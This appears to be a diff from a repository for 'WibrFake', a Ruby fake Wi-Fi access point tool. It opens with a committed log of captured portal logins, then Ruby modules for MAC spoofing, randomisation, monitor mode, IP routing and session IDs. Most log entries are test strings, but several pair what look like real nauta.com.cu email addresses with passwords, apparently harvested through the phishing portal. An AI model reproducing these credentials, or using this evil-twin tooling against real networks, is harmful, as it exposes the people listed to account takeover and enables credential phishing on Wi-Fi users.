2025-02-22 17:04:16 -0500 IP: 192.168.1.3, Username: , Email: , Password:
|
15
|
+
2025-02-22 17:04:41 -0500 IP: 192.168.1.3, Username: , Email: , Password:
|
16
|
+
2025-02-22 19:25:38 -0500 IP: 192.168.1.2, Username: Jdjsjsj, Email: , Password: jdjdjdjd
|
17
|
+
2025-02-26 07:28:32 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
18
|
+
2025-02-26 07:28:33 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
19
|
+
2025-02-26 07:28:37 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
20
|
+
2025-02-26 07:28:37 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
21
|
+
2025-02-26 07:28:38 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
22
|
+
2025-02-26 07:28:39 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
23
|
+
2025-02-26 07:29:19 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: comoesras
|
24
|
+
2025-02-26 07:30:03 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password:
|
25
|
+
2025-02-26 07:33:53 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password:
|
26
|
+
2025-02-26 07:33:59 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: aaaaaaa
|
27
|
+
2025-02-26 07:34:38 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
28
|
+
2025-02-26 07:37:03 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaa
|
29
|
+
2025-02-26 07:37:07 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaa
|
30
|
+
2025-02-26 08:04:13 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
31
|
+
2025-02-26 08:04:13 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
32
|
+
2025-02-26 08:04:14 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
33
|
+
2025-02-26 08:04:14 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
34
|
+
2025-02-26 08:04:28 -0500 IP: 127.0.0.1, Username: hola, Email: , Password: aaaaa
|
35
|
+
2025-02-26 08:04:31 -0500 IP: 127.0.0.1, Username: sasasaassaassasas, Email: , Password:
|
36
|
+
2025-02-26 08:07:48 -0500 IP: 127.0.0.1, Username: , Email: , Password:
|
37
|
+
2025-02-26 08:08:39 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaaaa
|
38
|
+
2025-02-26 08:12:33 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password:
|
39
|
+
2025-02-26 08:12:36 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
|
40
|
+
2025-02-26 08:15:04 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
|
41
|
+
2025-02-26 08:16:58 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
|
42
|
+
2025-02-26 08:17:24 -0500 IP: 127.0.0.1, Username: hola, Email: , Password: comoestas
|
43
|
+
2025-02-26 08:20:46 -0500 IP: 192.168.1.203, Username: Hoamsmsm, Email: , Password: kskskdk
|
44
|
+
2025-02-26 09:27:15 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: ascjkcsnjaskcn
|
45
|
+
2025-02-26 09:27:20 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: ascjkcsnjaskcn
|
46
|
+
2025-02-26 09:27:47 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: sacascasc
|
47
|
+
2025-02-26 09:28:16 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: comoestas
|
48
|
+
2025-02-26 10:05:46 -0500 IP: 192.168.1.55, Username: Holacomoestas, Email: , Password: jsjsjsjdjdkdkskk
|
49
|
+
2025-02-26 10:06:01 -0500 IP: 192.168.1.55, Username: Holacomoestas, Email: , Password: jsjsjsjdjdkdkskk
|
50
|
+
2025-02-26 10:54:58 -0500 IP: 172.168.1.191, Username: Holamundo, Email: , Password: holamundo
|
51
|
+
2025-02-26 11:19:13 -0500 IP: 192.168.1.19, Username: reinierperezhernandez@nauta.com.cu, Email: , Password: YakelinDeelCobre
|
52
|
+
2025-02-26 11:23:29 -0500 IP: 192.168.1.96, Username: tumamavendedurofrio@nauta.com.cu, Email: , Password: ytupapatambien
|
53
|
+
2025-02-27 05:27:42 -0500 IP: 192.168.1.226, Username: danielperessotolongo@bauta.com.cu, Email: , Password: perezhernandesguasaa
|
54
|
+
2025-02-27 05:29:40 -0500 IP: 192.168.1.226, Username: aguapamayeya@nauta.com.cu, Email: , Password: dnakalskksksdkdkdkskk
|
55
|
+
2025-02-27 06:22:39 -0500 IP: 192.168.1.134, Username: danielpusjajsjsksjks@nauta.com.cu, Email: , Password: holamundoxlsmsnsnsn
|
56
|
+
2025-02-27 11:29:16 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaaa
|
57
|
+
2025-02-27 11:29:51 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
|
58
|
+
2025-02-27 11:30:31 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
|
59
|
+
2025-02-27 11:30:52 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
|
@@ -0,0 +1,99 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class IPRouting
|
3
|
+
def initialize(ipaddr, iface)
|
4
|
+
begin
|
5
|
+
require 'open3'
|
6
|
+
require_relative '../Config/ipaddr'
|
7
|
+
rescue LoadError =>e
|
8
|
+
puts e.message
|
9
|
+
exit(1)
|
10
|
+
end
|
11
|
+
@ipaddr = ipaddr
|
12
|
+
@ip = ipaddr.to_s
|
13
|
+
@ip_prefix = ipaddr.succ(0)
|
14
|
+
@mask = ipaddr.mask
|
15
|
+
@mask_number = WibrFake::IPAddr.new(@mask).mask_number
|
16
|
+
@iface = iface
|
17
|
+
@ruta = false
|
18
|
+
end
|
19
|
+
|
20
|
+
def inspect
|
21
|
+
"#<WibrFake IPRouting: IPv4:#{@ip}/#{@mask}>"
|
22
|
+
end
|
23
|
+
|
24
|
+
def ip_inspect
|
25
|
+
stdout_route_show, stderr_route_show, status_route_show = Open3.capture3("ip address show dev #{@iface}")
|
26
|
+
if(status_route_show.success?)
|
27
|
+
stdout_route_show.split("\n").each{|route|
|
28
|
+
route.scan(/\b(?:\d{1,3}\.){3}\d{1,3}\b/){|ip|
|
29
|
+
if(/#{@ip.split('.')[0..2].join('.')}/ === ip) and (route.include?(@iface))
|
30
|
+
return route
|
31
|
+
end
|
32
|
+
}
|
33
|
+
}
|
34
|
+
end
|
35
|
+
return nil
|
36
|
+
end
|
37
|
+
|
38
|
+
def ruta_inspect
|
39
|
+
stdout_route_show, stderr_route_show, status_route_show = Open3.capture3("ip route show")
|
40
|
+
if(status_route_show.success?)
|
41
|
+
stdout_route_show.split("\n").each{|route|
|
42
|
+
if(route.include?("#{@ip}/#{@mask}")) and (route.include?(@iface))
|
43
|
+
return route
|
44
|
+
end
|
45
|
+
}
|
46
|
+
end
|
47
|
+
end
|
48
|
+
|
49
|
+
def ruta_add
|
50
|
+
stdout_route_add, stderr_route_add, status_route_show_add = Open3.capture3("ip route add #{@ip_prefix}/#{@mask} via #{@ip} dev #{@iface}")
|
51
|
+
if(status_route_show_add.success?)
|
52
|
+
return ruta_inspect
|
53
|
+
end
|
54
|
+
end
|
55
|
+
|
56
|
+
def set()
|
57
|
+
stdout_set, stderr_set, status_set = Open3.capture3("ip addr add #{@ip}/#{@mask_number} dev #{@iface}")
|
58
|
+
if(status_set.success?)
|
59
|
+
puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m New IPv4: #{@ip}/#{@mask} established"
|
60
|
+
unless(ruta_inspect.empty?)
|
61
|
+
puts "rute:"
|
62
|
+
puts ruta_inspect
|
63
|
+
return true
|
64
|
+
else
|
65
|
+
puts "Assigning route for #{@ip}/#{@mask}:"
|
66
|
+
puts ruta_add
|
67
|
+
return true
|
68
|
+
end
|
69
|
+
else
|
70
|
+
if(stderr_set.include?("Address already assigned"))
|
71
|
+
puts "\e[1;33m[\e[1;37m+\e[1;33m]\e[1;37m Address already assigned IPv4 and Routing for interface #{@iface}"
|
72
|
+
print "Do you want to continue or restart the IP?(y/n): "
|
73
|
+
restart_ip = gets.chomp=="y"? true:false
|
74
|
+
if(restart_ip)
|
75
|
+
puts "\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m Eliminating IPv4: #{@ip}/#{@mask}"
|
76
|
+
stdout_del_ip, stderr_del_ip, status_del_ip = Open3.capture3("ip addr del #{@ip}/#{@mask_number} dev #{@iface}")
|
77
|
+
if(status_del_ip.success?)
|
78
|
+
sleep(1)
|
79
|
+
puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m Assigning new IPv4: #{@ip}/#{@mask}"
|
80
|
+
set
|
81
|
+
end
|
82
|
+
end
|
83
|
+
end
|
84
|
+
end
|
85
|
+
end
|
86
|
+
def del()
|
87
|
+
stdout_del, stderr_del, status_del = Open3.capture3("ip addr del #{@ip}/#{@mask_number} dev #{@iface}")
|
88
|
+
if(status_del.success?)
|
89
|
+
puts "IPv4 #{@ip}/#{@mask} removed"
|
90
|
+
return true
|
91
|
+
else
|
92
|
+
if(stderr_del.include?("Address not found"))
|
93
|
+
puts "IPv4 #{@ip}/#{@mask} address not found, could not be deleted"
|
94
|
+
end
|
95
|
+
return false
|
96
|
+
end
|
97
|
+
end
|
98
|
+
end
|
99
|
+
end
|
@@ -0,0 +1,114 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Mac
|
3
|
+
def self.veryfi_oui(mac)
|
4
|
+
require 'sqlite3'
|
5
|
+
begin
|
6
|
+
oui = String.new
|
7
|
+
db = SQLite3::Database.new(File.join(File.dirname(__FILE__), '..', 'DataBase', 'ouis.db'))
|
8
|
+
organization = "Unknown"
|
9
|
+
rescue
|
10
|
+
warn "Missing database in application"
|
11
|
+
end
|
12
|
+
oui = mac.slice(0, 8)
|
13
|
+
db.execute("SELECT id, name FROM ouis_mac WHERE oui = ?", oui){|row|
|
14
|
+
unless(row.empty?)
|
15
|
+
organization = row[1]
|
16
|
+
end
|
17
|
+
}
|
18
|
+
organization
|
19
|
+
end
|
20
|
+
|
21
|
+
def self.show(iface, verb = 1)
|
22
|
+
stdout_mac, stderr_mac, status_mac = Open3.capture3("ip link show #{iface}")
|
23
|
+
if(status_mac.success?)
|
24
|
+
macs = []
|
25
|
+
stdout_mac.scan(/(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i){|mac| macs << mac}
|
26
|
+
current_mac, broadcast_mac, permanent_mac = macs
|
27
|
+
permanent_mac = permanent_mac || current_mac
|
28
|
+
organization_currentmac = veryfi_oui(current_mac)
|
29
|
+
if(verb==1)
|
30
|
+
puts "\nCurrent Mac: " + current_mac
|
31
|
+
puts "Organization of current mac: #{organization_currentmac}"
|
32
|
+
puts "Broadcast Mac: " + broadcast_mac
|
33
|
+
puts "Permanent Mac: " + permanent_mac
|
34
|
+
else
|
35
|
+
return current_mac
|
36
|
+
end
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
def self.set(iface, mac)
|
41
|
+
if(mac =~ /(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i)
|
42
|
+
veryfi_oui(mac)
|
43
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
44
|
+
if(status_down.success?)
|
45
|
+
stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
|
46
|
+
if(status_set_mac.success?)
|
47
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
48
|
+
if(status_up.success?)
|
49
|
+
puts "New mac: #{mac}"
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
54
|
+
end
|
55
|
+
|
56
|
+
def self.ramset(iface, oui_ramset=false)
|
57
|
+
unless(oui_ramset)
|
58
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
59
|
+
if(status_down.success?)
|
60
|
+
loop do
|
61
|
+
mac = 6.times.map{"%02x" % rand(256)}.join(':')
|
62
|
+
stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
|
63
|
+
if(status_set_mac.success?)
|
64
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
65
|
+
if(status_up.success?)
|
66
|
+
puts "New Random Mac: #{mac}"
|
67
|
+
break
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
71
|
+
end
|
72
|
+
else
|
73
|
+
if(oui_ramset =~ /(?:[0-9A-F][0-9A-F][:\-]){2}[0-9A-F][0-9A-F]/i)
|
74
|
+
puts "OUI entered"
|
75
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
76
|
+
if(status_down.success?)
|
77
|
+
mac = oui_ramset + ':' + 3.times.map{"%02x" % rand(256)}.join(':')
|
78
|
+
stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
|
79
|
+
if(status_set_mac.success?)
|
80
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
81
|
+
if(status_up.success?)
|
82
|
+
puts "New random oui mac: #{mac}"
|
83
|
+
end
|
84
|
+
end
|
85
|
+
end
|
86
|
+
end
|
87
|
+
end
|
88
|
+
end
|
89
|
+
def self.reset(iface)
|
90
|
+
stdout_mac, stderr_mac, status_mac = Open3.capture3("ip link show #{iface}")
|
91
|
+
if(status_mac.success?)
|
92
|
+
macs = []
|
93
|
+
stdout_mac.scan(/(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i){|mac| macs << mac}
|
94
|
+
current_mac, broadcast_mac, permanent_mac = macs
|
95
|
+
permanent_mac = permanent_mac || current_mac
|
96
|
+
if(permanent_mac==current_mac)
|
97
|
+
puts "The current mac is the permanent one, no changes applied"
|
98
|
+
else
|
99
|
+
puts "Mac entered"
|
100
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
101
|
+
if(status_down.success?)
|
102
|
+
stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{permanent_mac}")
|
103
|
+
if(status_set_mac.success?)
|
104
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
105
|
+
if(status_up.success?)
|
106
|
+
puts "Mac successfully changed"
|
107
|
+
end
|
108
|
+
end
|
109
|
+
end
|
110
|
+
end
|
111
|
+
end
|
112
|
+
end
|
113
|
+
end
|
114
|
+
end
|
@@ -0,0 +1,44 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class Monitor
|
3
|
+
def self.on(iface)
|
4
|
+
puts "Desactivando la interfaz"
|
5
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
6
|
+
if(status_down.success?)
|
7
|
+
stdout_monitor, stderr_monitor, status_monitor = Open3.capture3("iw dev #{iface} set type monitor")
|
8
|
+
if(status_monitor.success?)
|
9
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
10
|
+
if(status_up.success?)
|
11
|
+
puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m The monitor mode is activated"
|
12
|
+
end
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
16
|
+
|
17
|
+
def self.off(iface)
|
18
|
+
puts "down"
|
19
|
+
stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
|
20
|
+
if(status_down.success?)
|
21
|
+
stdout_monitor, stderr_monitor, status_monitor = Open3.capture3("iw dev #{iface} set type managed")
|
22
|
+
if(status_monitor.success?)
|
23
|
+
stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
|
24
|
+
if(status_up.success?)
|
25
|
+
end
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
|
30
|
+
def self.status(iface, verb = 0)
|
31
|
+
stdout_network, stderr_network, status_network = Open3.capture3("iw dev #{iface} info")
|
32
|
+
macaddress = String.new
|
33
|
+
if(status_network.success?)
|
34
|
+
if stdout_network.include?("type managed") or stdout_network.include?("type AP")
|
35
|
+
return "\033[38;5;196moff\e[1;37m" if(verb==1)
|
36
|
+
puts "\n\e[1;33m[\e[0mi\e[1;33m]\e[1;37m The status monitor mode is not activated"
|
37
|
+
elsif stdout_network.include?("type monitor")
|
38
|
+
return "\033[38;5;46mon\e[1;37m" if(verb==1)
|
39
|
+
puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m The status monitor mode is activated"
|
40
|
+
end
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
File without changes
|
@@ -0,0 +1,11 @@
|
|
1
|
+
module WibrFake
|
2
|
+
class UUID
|
3
|
+
def self.session(iface)
|
4
|
+
mac = WibrFake::Mac.show(iface, 0).gsub(':', '')
|
5
|
+
time = Time.now.to_s.split('-').join.split(':').join.split(' ').join
|
6
|
+
number = 3.times.map{"%02x" % rand(256)}.join
|
7
|
+
id = iface + "-" + time + "-" + number + "-" + mac
|
8
|
+
return id
|
9
|
+
end
|
10
|
+
end
|
11
|
+
end
|